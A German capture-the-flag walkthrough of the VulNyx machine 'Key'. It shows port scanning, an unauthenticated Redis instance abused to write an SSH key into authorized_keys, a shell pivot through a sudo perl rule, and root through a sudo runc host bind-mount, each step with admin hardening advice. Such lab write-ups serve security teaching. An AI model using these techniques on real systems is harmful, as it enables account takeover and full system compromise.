Key - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
curl
nikto
gobuster
whatweb
redis-cli
Metasploit (msfconsole)
ssh
cat
echo
sudo
perl
runc
nano
rm
mkdir
ls
cd
id
wget
unzip
zip2john
john
telnet
chisel
vncviewer
python3
find
getcap
ss

Inhaltsverzeichnis

Reconnaissance

Beginn der Aufklärungsphase zur Identifizierung des Ziels "Key" im Netzwerk.

   Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.129

**Analyse:** Die IP-Adresse des Zielsystems für diesen Test wird als `192.168.2.129` festgelegt.

**Bewertung:** Basisinformation für alle folgenden Operationen.

**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.129`).
**Empfehlung (Admin):** Keine Aktion erforderlich.

 ARP-Scan 
192.168.2.129
                     

**Analyse:** Ein ARP-Scan bestätigt die Präsenz der IP `192.168.2.129` im Netzwerk. (Die MAC-Adresse fehlt hier im Log, wurde aber im Nmap-Scan später als `08:00:27:60:60:07` identifiziert).

**Bewertung:** Ziel erreichbar.

**Empfehlung (Pentester):** Weiter mit Port-Scanning.
**Empfehlung (Admin):** Keine Aktion.

 /etc/hosts 

        127.0.0.1	localhost 
                192.168.2.129   key.nyx
                     

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird angepasst, um der IP `192.168.2.129` den Hostnamen `key.nyx` zuzuordnen.

**Bewertung:** Standardvorgehen zur Vereinfachung der Ansprache.

**Empfehlung (Pentester):** Hostnamen verwenden.
**Empfehlung (Admin):** DNS bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 13:58 CEST
Nmap scan report for key.nyx (192.168.2.129)
Host is up (0.00024s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:60:60:07 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.24 ms key.nyx (192.168.2.129)
                     

**Analyse:** Ein initialer Nmap TCP-Scan (`-sS -sC -sV -A -p-`) wird durchgeführt.

**Bewertung:** Findet nur zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 11) - Relativ aktuell. * **Port 80 (HTTP):** Apache httpd 2.4.54 (Debian) - Relativ aktuell, zeigt Apache-Standardseite. Auf den ersten Blick scheint das Ziel sehr begrenzt zu sein. Der Scan hat **Port 6379 (Redis)** übersehen, der später per IPv6 gefunden wird. Dies deutet auf einen Fehler im ersten Scan-Befehl oder der Auswertung hin, oder darauf, dass der Redis-Dienst nur an die IPv6-Adresse gebunden war (was aber durch spätere Tests widerlegt wird).

**Empfehlung (Pentester):** Die Standardseite auf Port 80 untersuchen. Erneute, gründlichere Scans (insbesondere UDP und spezifische Ports wie 6379) oder IPv6-Scans in Betracht ziehen, falls Port 80 keine Angriffsfläche bietet.
**Empfehlung (Admin):** Sicherstellen, dass alle offenen Ports beabsichtigt und sicher sind.

Web Enumeration

Untersuchung des Apache-Webservers auf Port 80.

┌──(root㉿CCat)-[~] └─# curl -X PTINS -Is http://$IP | grep -i "allow"
Allow: GET,PST,PTINS,HEAD
                     

**Analyse:** Test der erlaubten HTTP-Methoden auf Port 80.

**Bewertung:** Erlaubt sind `GET`, `PST` (wahrscheinlich POST), `PTINS` und `HEAD`. Die ungewöhnlichen Methoden `PST` und `PTINS` könnten interessant sein, sind aber oft Fehlkonfigurationen ohne Auswirkung.

**Empfehlung (Pentester):** Testen der ungewöhnlichen Methoden, aber keine hohe Priorität.
**Empfehlung (Admin):** Unnötige Methoden deaktivieren.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP

 WEB-Server Scan :

*   Trying 192.168.2.129:80...
* Connected to 192.168.2.129 (192.168.2.129) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.129
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Mon, 16 Sep 2024 11:59:29 GMT
Date: Mon, 16 Sep 2024 11:59:29 GMT
< Server: Apache/2.4.54 (Debian)
Server: Apache/2.4.54 (Debian)
< Last-Modified: Tue, 19 Jul 2022 13:04:12 GMT
Last-Modified: Tue, 19 Jul 2022 13:04:12 GMT
< ETag: "29d1-5e4281ef033d9"
ETag: "29d1-5e4281ef033d9"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 10705
Content-Length: 10705
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
                     

**Analyse:** Abruf der HTTP-Header von Port 80.

**Bewertung:** Bestätigt Apache 2.4.54 und die Standard-Debian-Seite (`Content-Length: 10705`).

**Empfehlung (Pentester):** Standardseite, wahrscheinlich uninteressant.
**Empfehlung (Admin):** Keine Aktion.

 Nikto v2.5.0

+ Target IP:          192.168.2.129
+ Target Hostname:    192.168.2.129
+ Target Port:        80
+ Start Time:         2024-09-16 13:59:30 (GMT2)

+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29d1, size: 5e4281ef033d9, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-16 13:59:46 (GMT2) (16 seconds)

+ 1 host(s) tested
                     

**Analyse:** Nikto-Scan gegen Port 80.

**Bewertung:** Bestätigt Apache 2.4.54. Findet nur Standard-Konfigurationsmängel (fehlende Header, ETag-Leak) und die erlaubten Methoden. Keine kritischen Funde.

**Empfehlung (Pentester):** Port 80 scheint gehärtet oder uninteressant zu sein.
**Empfehlung (Admin):** Fehlende Header implementieren, ETag-Konfiguration prüfen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://key/index.html (Falscher Hostname im Log?)
http://192.168.2.129/index.html           (Status: 200) [Size: 10705]
                     

**Analyse:** Gobuster-Scan auf Port 80.

**Bewertung:** Findet nur `index.html`. Keine weiteren Verzeichnisse oder Dateien.

**Empfehlung (Pentester):** Webserver auf Port 80 bietet keine Angriffsfläche. Erneute Überprüfung der Nmap-Scans oder anderer Methoden zur Diensterkennung ist ratsam.
**Empfehlung (Admin):** Keine Aktion.

Redis Exploitation

Nachdem die Web-Enumeration auf Port 80 keine Ergebnisse brachte und der initiale Nmap-Scan möglicherweise unvollständig war, wird ein erneuter, gezielterer Scan durchgeführt, der den Redis-Dienst aufdeckt.

┌──(root㉿CCat)-[~] └─# nmap -A -v -p- -T4 -6 fe80a00:27ff:fe60:6007%eth0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 15:45 CEST
...
Initiating SYN Stealth Scan at 15:45
Scanning key (fe80a00:27ff:fe60:6007) [65535 ports]
Discovered open port 80/tcp on fe80a00:27ff:fe60:6007
Discovered open port 22/tcp on fe80a00:27ff:fe60:6007
Discovered open port 6379/tcp on fe80a00:27ff:fe60:6007
Completed SYN Stealth Scan at 15:45, 2.35s elapsed (65535 total ports)
...
Nmap scan report for key (fe80a00:27ff:fe60:6007)
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
6379/tcp open  redis   Redis key-value store 6.0.16
                     

                   Seltsamer Weise wird der Port hier angezeigt dort mit unserer eigentlichen
                                         Technik jedoch immer noch nicht 
                      
┌──(root㉿CCat)-[~] └─# nmap -6 fe80a00:27ff:fe60:6007%eth0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 15:46 CEST
Nmap scan report for key (fe80a00:27ff:fe60:6007)
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PRT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:60:60:07 (racle VirtualBox virtual NIC)
                       
Der Fehler war dass wir durch das nicht angeben von -p- nur die ersten hundert Ports gescant haben.
Unserer der nicht gefunden wurde dadurch ausserhalb des Bereichs lag. Wird im Script sofort angepasst
und getestet
                        

**Analyse:** Ein erneuter, vollständiger Portscan (`-p-`) wird gegen die **IPv6**-Adresse durchgeführt. Dieser Scan entdeckt nun **Port 6379 (Redis)** als offen, zusätzlich zu den bekannten Ports 22 und 80. Der anschließende Scan ohne `-p-` bestätigt, dass der Standard-Nmap-Scan (Top 1000 Ports) den Port 6379 übersieht.

**Bewertung:** **Wichtiger Fund!** Der Redis-Dienst auf Port 6379 ist ein neuer Angriffsvektor. Der anfängliche IPv4-Scan hatte diesen Port ebenfalls übersehen, was die Bedeutung vollständiger Portscans (`-p-`) unterstreicht. Redis ist oft unsicher konfiguriert und ermöglicht unauthentifizierten Zugriff.

**Empfehlung (Pentester):** Untersuchen Sie den Redis-Dienst auf Port 6379. Versuchen Sie, sich ohne Passwort zu verbinden (`redis-cli`). Führen Sie Redis-spezifische Enumerations- und Exploit-Versuche durch (z.B. über Metasploit oder manuell).
**Empfehlung (Admin):** Stellen Sie sicher, dass Redis durch ein Passwort geschützt ist (`requirepass`). Binden Sie Redis nur an notwendige Schnittstellen (idealerweise nur localhost, wenn kein Fernzugriff benötigt wird).

┌──(root㉿CCat)-[~] └─# nmap --script redis-brute -p6379 192.168.2.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 22:00 CEST
Nmap scan report for key.nyx (192.168.2.129)
Host is up (0.00018s latency).

PRT     STATE  SERVICE
6379/tcp closed redis
MAC Address: 08:00:27:60:60:07 (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
                     

**Analyse:** Versuch, Redis-Passwörter über die **IPv4**-Adresse mit dem Nmap-Skript `redis-brute` zu knacken.

**Bewertung:** Der Scan meldet Port 6379 auf der IPv4-Adresse als `closed`. Dies bestätigt, dass der Redis-Dienst **nur an die IPv6-Adresse gebunden** ist.

**Empfehlung (Pentester):** Führen Sie alle Redis-Interaktionen über die IPv6-Adresse (`fe80a00:27ff:fe60:6007%eth0`) durch.
**Empfehlung (Admin):** Überprüfen Sie die `bind`-Konfiguration in der Redis-Konfigurationsdatei (`redis.conf`). Binden Sie den Dienst bewusst an die gewünschten Adressen.

┌──(root㉿CCat)-[~] └─# redis-cli -h 192.168.2.129
Could not connect to Redis at 192.168.2.129:6379: Connection refused
not connected> 
                     

**Analyse:** Versuch, sich mit `redis-cli` über die IPv4-Adresse zu verbinden.

**Bewertung:** Scheitert mit "Connection refused", bestätigt erneut, dass Redis nicht an IPv4 lauscht.

**Empfehlung (Pentester):** IPv6-Adresse verwenden.
**Empfehlung (Admin):** Keine Aktion.

msf6 > use auxiliary/scanner/redis/redis_server
msf6 auxiliary(scanner/redis/redis_server) > options
(Moduloptionen werden angezeigt)
msf6 auxiliary(scanner/redis/redis_server) > set COMMAND INFO
COMMAND => INFO
msf6 auxiliary(scanner/redis/redis_server) > set RHOSTS 192.168.2.129
RHOSTS => 192.168.2.129
msf6 auxiliary(scanner/redis/redis_server) > set RPORT 6379
RPORT => 6379
msf6 auxiliary(scanner/redis/redis_server) > set THREADS 1
THREADS => 1
msf6 auxiliary(scanner/redis/redis_server) > run
[*] 192.168.2.129:6379    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
                     
msf6 auxiliary(scanner/redis/redis_server) > set RHOSTS fe80a00:27ff:fe60:6007%eth0
RHOSTS => fe80a00:27ff:fe60:6007%eth0
msf6 auxiliary(scanner/redis/redis_server) > run
[+] fe80a00:27ff:fe60:6007%eth0:6379 - Found redis with INFO command: $3628\x0d\x0a# Server\x0d\x0aredis_version:6.0.16\x0d\x0a... (sehr lange INFO-Ausgabe) ...
[*] fe80a00:27ff:fe60:6007%eth0:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
                     

**Analyse:** Das Metasploit-Modul `redis_server` wird verwendet, um Informationen vom Redis-Server abzufragen (`COMMAND INFO`). Zuerst wird die IPv4-Adresse getestet (scheitert), dann die IPv6-Adresse.

**Bewertung:** Der Scan gegen die IPv6-Adresse ist erfolgreich und liefert eine Fülle von Informationen aus dem `INFO`-Befehl, darunter Redis-Version (6.0.16), OS (Linux 5.10), Prozess-ID, Konfigurationsdetails, Speicherverbrauch etc. Entscheidend ist, dass die Verbindung **ohne Passwort** möglich war.

**Empfehlung (Pentester):** Der Redis-Server ist unauthentifiziert zugänglich. Dies ist eine kritische Schwachstelle. Verbinden Sie sich mit `redis-cli -h IPv6_ADRESSE` und prüfen Sie, welche Daten gespeichert sind und ob Sie Konfigurationsparameter ändern oder Befehle ausführen können.
**Empfehlung (Admin):** Aktivieren Sie dringend die Passwortauthentifizierung für Redis (`requirepass`).

┌──(root㉿CCat)-[~] └─# cat redis_ausgabe | tr "\x" "\n" | tr -d "0a" | sort -u | grep -v "^#"
... (Bereinigte Ausgabe des INFO-Befehls) ...
config_file:\
...
dbfilename
dump.rdb
...
dir
/home/dick
...
requirepass
...
                     

**Analyse:** Die lange `INFO`-Ausgabe von Metasploit wird mit Textmanipulationswerkzeugen (`tr`, `sort`, `grep`) bereinigt und nach interessanten Schlüsselwörtern durchsucht.

**Bewertung:** Hebt wichtige Konfigurationsdetails hervor: * `config_file:` ist leer (Redis wurde ohne explizite Konfigurationsdatei gestartet). * `dbfilename`: `dump.rdb` (Standardname für Speicherabbilder). * `dir`: `/home/dick` (Das Arbeitsverzeichnis von Redis!). * `requirepass` ist leer (Kein Passwort gesetzt). Dass das Arbeitsverzeichnis `/home/dick` ist, ist **extrem kritisch**. Redis kann in dieses Verzeichnis schreiben, wenn Speicherabbilder erstellt werden (`SAVE` oder `BGSAVE`).

**Empfehlung (Pentester):** Dies eröffnet einen klassischen Redis-Exploit-Pfad: Schreiben Sie Ihren öffentlichen SSH-Schlüssel in die Redis-Datenbank, ändern Sie das Arbeitsverzeichnis auf `/home/dick/.ssh`, ändern Sie den `dbfilename` auf `authorized_keys` und erzwingen Sie ein `SAVE`. Dadurch wird Ihr Schlüssel in die `authorized_keys`-Datei des Benutzers `dick` geschrieben, was einen SSH-Login ermöglicht.
**Empfehlung (Admin):** Starten Sie Redis niemals mit einem Benutzerverzeichnis als Arbeitsverzeichnis! Konfigurieren Sie `dir` auf ein dediziertes Verzeichnis (z.B. `/var/lib/redis`). Passwortschutz aktivieren.

┌──(root㉿CCat)-[~] └─# redis-cli -h fe80a00:27ff:fe60:6007%eth0
[fe80a00:27ff:fe60:6007%eth0]:6379> id
(error) ERR unknown command `id`, with args beginning with: 
[fe80a00:27ff:fe60:6007%eth0]:6379> info
# Server
redis_version:6.0.16
... (INFO Ausgabe) ...
[fe80a00:27ff:fe60:6007%eth0]:6379> client list
id=8 addr=[fe80a00:27ff:fe30:2eda]:54936 fd=8 name= age=221 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=26 qbuf-free=32742 argv-mem=10 obl=0 oll=0 omem=0 tot-mem=61466 events=r cmd=client user=default
[fe80a00:27ff:fe60:6007%eth0]:6379> CONFIG GET *
  1) "rdbchecksum"
  2) "yes"
...
285) "dir"
286) "/home/dick"
287) "save"
...
299) "requirepass"
300) ""
...
[fe80a00:27ff:fe60:6007%eth0]:6379> slowlog get 25
(empty array)
[fe80a00:27ff:fe60:6007%eth0]:6379> INFO keyspace
# Keyspace
                     

**Analyse:** Erfolgreiche Verbindung mit `redis-cli` über IPv6 ohne Passwort. Verschiedene Redis-Befehle werden ausgeführt (`info`, `client list`, `config get *`, `slowlog`, `info keyspace`).

**Bewertung:** Bestätigt den unauthentifizierten Zugriff und die Konfigurationsdetails, insbesondere `dir "/home/dick"` und `requirepass ""`.

**Empfehlung (Pentester):** Fahren Sie mit dem SSH-Key-Injection-Exploit fort.
**Empfehlung (Admin):** Redis absichern (Passwort, Verzeichnis).

**Schritt: Redis SSH Key Injection Exploit**

[fe80a00:27ff:fe60:6007%eth0]:6379> config set dir /home/dick/.ssh
K
[fe80a00:27ff:fe60:6007%eth0]:6379> config set dbfilename "authorized_keys"
K

**Analyse:** Die Redis-Konfiguration wird zur Laufzeit geändert: Das Arbeitsverzeichnis (`dir`) wird auf `/home/dick/.ssh` gesetzt und der Dateiname für Speicherabbilder (`dbfilename`) auf `authorized_keys`.

**Bewertung:** Vorbereitung des Angriffs. Der nächste `SAVE`-Befehl wird versuchen, den aktuellen Redis-Speicherinhalt in `/home/dick/.ssh/authorized_keys` zu schreiben.

**Empfehlung (Pentester):** Fügen Sie nun Ihren öffentlichen SSH-Schlüssel als Wert in die Redis-Datenbank ein.
**Empfehlung (Admin):** Verhindern Sie den Zugriff auf den `CONFIG`-Befehl für unauthentifizierte Benutzer oder benennen Sie ihn um (`rename-command CONFIG ""`).

┌──(root㉿CCat)-[~] └─# (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > publickey.txt
┌──(root㉿CCat)-[~] └─# cat publickey.txt | redis-cli -h fe80a00:27ff:fe60:6007%eth0 -x set ssh_key
K
[fe80a00:27ff:fe60:6007%eth0]:6379> save
K

**Analyse:** 1. Der öffentliche SSH-Schlüssel des Angreifers (`~/.ssh/id_rsa.pub`) wird mit zusätzlichen Leerzeilen davor und danach in eine lokale Datei `publickey.txt` geschrieben. (Die Leerzeilen sollen sicherstellen, dass der Schlüssel korrekt formatiert ist). 2. Der Inhalt von `publickey.txt` wird über eine Pipe an `redis-cli` übergeben, das den `SET`-Befehl ausführt (`-x set ssh_key`). Dies speichert den öffentlichen Schlüssel als Wert für den Redis-Schlüssel `ssh_key`. 3. Der `SAVE`-Befehl wird in Redis ausgeführt.

**Bewertung:** Der `SAVE`-Befehl schreibt den aktuellen Inhalt der Redis-Datenbank (der nun den öffentlichen Schlüssel enthält) in die Datei, die durch `dir` und `dbfilename` spezifiziert wurde: `/home/dick/.ssh/authorized_keys`. Damit wurde der öffentliche Schlüssel des Angreifers erfolgreich in die `authorized_keys`-Datei des Benutzers `dick` auf dem Zielsystem geschrieben.

**Empfehlung (Pentester):** Versuchen Sie nun, sich per SSH als Benutzer `dick` mit Ihrem privaten Schlüssel anzumelden.
**Empfehlung (Admin):** Redis absichern! Überprüfen Sie die `authorized_keys`-Dateien auf nicht autorisierte Einträge.

Initial Access

Nachdem der öffentliche SSH-Schlüssel des Angreifers über die Redis-Schwachstelle in die `authorized_keys`-Datei des Benutzers `dick` geschrieben wurde, wird nun der SSH-Login versucht.

┌──(root㉿CCat)-[~] └─# ssh dick@fe80a00:27ff:fe60:6007%eth0 -6 -i .ssh/id_rsa
Enter passphrase for key '.ssh/id_rsa': (Passphrase wird eingegeben)
Linux key 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Sun May 21 19:09:56 2023 from 192.168.1.10
dick@key$ 
                     

**Analyse:** SSH-Login als Benutzer `dick` unter Verwendung der IPv6-Adresse und des privaten Schlüssels des Angreifers (`.ssh/id_rsa`). Eine Passphrase für den Schlüssel wird eingegeben.

**Bewertung:** **Initial Access erfolgreich!** Der Exploit über Redis hat funktioniert, und wir haben eine Shell als Benutzer `dick`.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für Privilegienerweiterung als `dick`.
**Empfehlung (Admin):** Redis absichern, kompromittierten Benutzer `dick` untersuchen, nicht autorisierte SSH-Schlüssel entfernen.

Proof of Concept (Initial Access): Redis Unauthenticated Access to SSH Key Injection

**Kurzbeschreibung:** Der Redis-Dienst auf Port 6379 (nur IPv6) war ohne Authentifizierung zugänglich. Die Redis-Instanz lief mit `/home/dick` als Arbeitsverzeichnis (`dir`). Dies ermöglichte einem Angreifer, sich mit `redis-cli` zu verbinden, das Arbeitsverzeichnis auf `/home/dick/.ssh` und den Datenbank-Dateinamen auf `authorized_keys` zu ändern. Anschließend wurde der öffentliche SSH-Schlüssel des Angreifers in die Redis-Datenbank geschrieben und mittels `SAVE`-Befehl in die Datei `/home/dick/.ssh/authorized_keys` gespeichert. Dies erlaubte einen anschließenden passwortlosen (bzw. Key-basierten) SSH-Login als Benutzer `dick`.
**Voraussetzungen:**

**Erwartetes Ergebnis:** SSH-Login als Benutzer `dick` mittels des injizierten Schlüssels.

**Schritte (Zusammenfassung):**

  1. Verbinden mit Redis: `redis-cli -h IPv6_ADRESSE`.
  2. Ändern des Arbeitsverzeichnisses: `config set dir /home/dick/.ssh`.
  3. Ändern des DB-Dateinamens: `config set dbfilename "authorized_keys"`.
  4. Schreiben des öffentlichen SSH-Schlüssels in einen Redis-Key: `cat pubkey.txt | redis-cli -h IPv6_ADRESSE -x set ssh_key`.
  5. Speichern der Datenbank in die Datei: `save`.
  6. SSH-Login als `dick`: `ssh dick@IPv6_ADRESSE -i private_key`.

**Risikobewertung:** Kritisch. Ein ungesicherter Redis-Dienst mit einer unsicheren Verzeichniskonfiguration ermöglichte die vollständige Übernahme eines Benutzerkontos.
**Empfehlungen:**

Privilege Escalation

Wir haben eine Shell als Benutzer `dick`. Nun suchen wir nach Wegen zu Root.

dick@key$ sudo -l
Matching Defaults entries for dick on key:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dick may run the following commands on key:
    (gary) NPASSWD: /usr/bin/perl
                     

**Analyse:** Überprüfung der sudo-Rechte für `dick`.

**Bewertung:** `dick` darf `/usr/bin/perl` als Benutzer `gary` ohne Passwort ausführen. Perl ist ein Skriptinterpreter und kann leicht zur Ausführung von Shell-Befehlen missbraucht werden.

**Empfehlung (Pentester):** Nutzen Sie Perl, um eine Shell als `gary` zu erhalten: `sudo -u gary /usr/bin/perl -e 'exec "/bin/bash";'`.
**Empfehlung (Admin):** Entfernen Sie diese unsichere sudo-Regel. Erlauben Sie niemals die Ausführung von Interpretern wie Perl via sudo.

dick@key$ ls ..
dick  gary
                     
dick@key$ ls
user.txt
dick@key$ cat user.txt
c58f5b2a916dc3287ec6901777ba7912
                     

**Analyse:** Auflisten des übergeordneten Verzeichnisses (`/home`) zeigt den Benutzer `gary`. Die User-Flag wird im Home-Verzeichnis von `dick` gefunden und gelesen.

**Bewertung:** User-Flag gefunden. Bestätigt `gary` als Ziel für die horizontale Bewegung.

**Empfehlung (Pentester):** Flag notieren, PrivEsc zu `gary` durchführen.
**Empfehlung (Admin):** Keine Aktion.

dick@key$ sudo -u gary /usr/bin/perl -e 'exec "/bin/bash"';
gary@key:/home/dick$

**Analyse:** Der Perl-Befehl wird mit `sudo -u gary` ausgeführt, um eine Bash-Shell zu starten.

**Bewertung:** **Erfolg!** Wir haben nun eine Shell als Benutzer `gary`.

**Empfehlung (Pentester):** Überprüfen Sie die sudo-Rechte für `gary`.
**Empfehlung (Admin):** Sudo-Regel für `dick` entfernen.

gary@key:/home/dick$ sudo -l
Matching Defaults entries for gary on key:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gary may run the following commands on key:
    (root) NPASSWD: /usr/bin/runc
                     

**Analyse:** Überprüfung der sudo-Rechte für `gary`.

**Bewertung:** **Entscheidender Fund!** `gary` darf `/usr/bin/runc` als `root` ohne Passwort ausführen. `runc` ist ein Low-Level-Container-Runtime-Tool. Fehlkonfigurationen oder die Möglichkeit, eigene Container-Spezifikationen zu laden, können zur Privilegienerweiterung missbraucht werden.

**Empfehlung (Pentester):** Recherchieren Sie Methoden zur Privilegienerweiterung mittels `sudo runc` (z.B. GTFOBins). Der typische Weg ist das Erstellen einer manipulierten `config.json`-Spezifikation, die das Host-Dateisystem mountet.
**Empfehlung (Admin):** Entfernen Sie diese gefährliche sudo-Regel. Gewähren Sie keine sudo-Rechte für Container-Runtimes an unprivilegierte Benutzer.

**Privilege Escalation per runc Config Manipulation**

gary@key$ sudo /usr/bin/runc spec
gary@key$ ls
config.json  
                     
gary@key$ mkdir rootfs
gary@key$ nano config.json
...(Bearbeiten der config.json, Einfügen des bind-mounts für '/')
                      

**Analyse:** 1. `sudo runc spec` wird ausgeführt, um eine Standard-Container-Spezifikationsdatei (`config.json`) zu erstellen. 2. Ein leeres Verzeichnis `rootfs` wird erstellt, das als Root-Dateisystem für den Container dienen soll. 3. Die `config.json` wird bearbeitet (`nano`).

**Bewertung:** Vorbereitung des Exploits. Der entscheidende Schritt ist das Hinzufügen eines speziellen Mount-Eintrags in `config.json`.

**Empfehlung (Pentester):** Fügen Sie den Bind-Mount für `/` in den `mounts`-Abschnitt der `config.json` ein.
**Empfehlung (Admin):** Sudo-Regel entfernen.

                                               Configuration
                         Dieser Teil muss in die Config.json Datei eingebunden werden :
                         und zwar genau ab diesem Abschnitt in mounts reinhängen:
...
       	          	    	       	"hostname": "runc",
	         	     	       	"mounts": [
...
  Der Teil der eingebunden wird 

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},
...
 Gesamte Configuration mit eingebundenen Teil 
... (vollständige config.json mit eingefügtem Mount) ...
                     

**Analyse:** Zeigt den genauen JSON-Block, der in den `mounts`-Abschnitt der `config.json` eingefügt werden muss. Dieser Block weist `runc` an, das Root-Verzeichnis des Hosts (`source: "/"`) rekursiv (`rbind`) mit Lese-/Schreibzugriff (`rw`) in das Root-Verzeichnis des Containers (`destination: "/"`) einzuhängen.

**Bewertung:** Dies ist der Kern des Exploits. Wenn ein Container mit dieser Konfiguration als Root gestartet wird, hat man innerhalb des Containers vollen Zugriff auf das Dateisystem des Hosts.

**Empfehlung (Pentester):** Stellen Sie sicher, dass die `config.json` korrekt modifiziert wurde.
**Empfehlung (Admin):** Sudo-Regel entfernen.

gary@key$ rm config.json
rm: ¿borrar el fichero regular 'config.json'  protegido contra escritura? (s/n) s
<> es wird nicht zugelassen die Datei so abzuspeichern, deshalb löschen wir sie und erstellen eine neue , damit gehts <>
gary@key$ sudo runc spec
gary@key$ ls -la
gary@key$ cat config.json > demo
gary@key$ rm config.json
gary@key$ cat demo > config.json
gary@key$ nano config.json

**Analyse:** Hier scheint es Probleme beim direkten Speichern der modifizierten `config.json` mit `nano` gegeben zu haben (möglicherweise Berechtigungsprobleme, obwohl `runc spec` die Datei erstellt hat). Als Workaround wird die ursprüngliche `config.json` gelöscht, neu erstellt, in eine temporäre Datei (`demo`) kopiert, das Original wieder gelöscht, der Inhalt aus der temporären Datei zurückkopiert und dann erneut mit `nano` bearbeitet.

**Bewertung:** Umständlicher Workaround, um die `config.json` mit dem notwendigen Mount-Eintrag zu versehen. Das Ziel bleibt dasselbe.

**Empfehlung (Pentester):** Sicherstellen, dass die finale `config.json` den korrekten Mount-Eintrag enthält.
**Empfehlung (Admin):** Keine Aktion.

gary@key$ sudo runc run demo
# id
uid=0(root) gid=0(root) groups=0(root)
# 
                     

**Analyse:** Der Befehl `sudo runc run demo` wird ausgeführt. `runc run` startet einen neuen Container mit dem Namen (ID) `demo` basierend auf der `config.json` im aktuellen Verzeichnis. Da die `config.json` den Mount des Host-Root-Verzeichnisses enthält und der Prozess im Container als Root (uid=0, gid=0 laut `config.json`) startet, erhalten wir eine Shell mit Root-Rechten auf das gemountete Host-System.

**Bewertung:** **Privilege Escalation erfolgreich!** Der `id`-Befehl innerhalb des Containers bestätigt Root-Rechte.

**Empfehlung (Pentester):** Sie haben nun eine Root-Shell auf dem Host-System (innerhalb der Container-Umgebung, aber mit Zugriff auf das Host-Root `/`). Suchen Sie die Root-Flag.
**Empfehlung (Admin):** Sudo-Regel für `runc` entfernen!

